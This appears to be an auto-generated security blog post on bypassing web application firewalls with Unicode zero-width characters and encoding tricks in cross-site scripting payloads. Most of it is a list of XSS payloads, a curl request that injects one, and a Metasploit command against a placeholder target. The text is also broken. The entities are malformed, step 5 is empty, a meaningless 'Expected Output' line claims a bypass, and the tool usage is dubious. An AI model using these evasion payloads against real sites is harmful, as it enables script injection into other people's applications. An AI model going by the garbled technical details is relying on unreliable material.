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Web Application Firewalls (WAFs) are designed to block malicious payloads, especially those involving Cross-Site Scripting (XSS). Attackers often use Unicode zero-width spaces (&xFEFF;, &65279;) or non-breaking spaces ( ) to evade detection.
Example Payloads (For Educational Testing Only):
<img src/onerror=alert&xFEFF;(1337)> < svg onload= alert&65279;(2)>
You Should Know:
1. Testing XSS Bypass Techniques
Use these payloads in a controlled lab environment (e.g., DVWA, OWASP Juice Shop):
<script>alert(String.fromCharCode(88,83,83))</script> < iframe src="javascript:alert(document.domain)">
2. Detecting Unicode-Based XSS
Use Burp Suite or OWASP ZAP to modify requests with invisible characters:
GET /search?q=<script&x200B;>alert(1)</script> HTTP/1.1
3. WAF Evasion with Hex/URL Encoding
echo -n "<script>alert(1)</script>" | xxd -ps Output: 3c7363726970743e616c6572742831293c2f7363726970743e
4. Linux Command for Unicode Analysis
echo -e "\uFEFF" | hexdump -C Inspect Zero-Width Space
5. Windows PowerShell for XSS Payload Testing
6. Sanitization Bypass with JavaScript
eval('al' + String.fromCharCode(101,114,116) + '(123)');
7. Using Python to Generate Obfuscated Payloads
print("<img src=x onerror=\\u0061lert(1)>")
8. Bypassing Filters with HTML Entities
<a href="jav&x61;script:alert(1)">Click</a>
9. Testing with Curl
curl -X POST "http://test.com/search" --data "q=<script&x200C;>alert(1)</script>"
10. Automating with Metasploit
msfconsole -x "use auxiliary/scanner/http/xss; set TARGETURI /vuln.php; set RHOSTS target.com; run"
What Undercode Say:
WAFs often fail against advanced obfuscation techniques. Security teams must:
– Implement multi-layered input validation
– Use regex patterns that detect Unicode abuse
– Test WAFs with mutation-based fuzzing
– Deploy Content Security Policy (CSP)
Expected Output:
XSS Payload Successfully Bypassed WAF
Prediction:
Unicode-based WAF evasion will grow as AI-driven security tools improve, requiring adaptive filtering mechanisms.
(URLs for further reading: OWASP XSS Filter Evasion Cheat Sheet)
IT/Security Reporter URL:
Reported By: Vasileiadis Anastasios – Hackers Feeds
Extra Hub: Undercode MoN
Basic Verification: Pass ✅
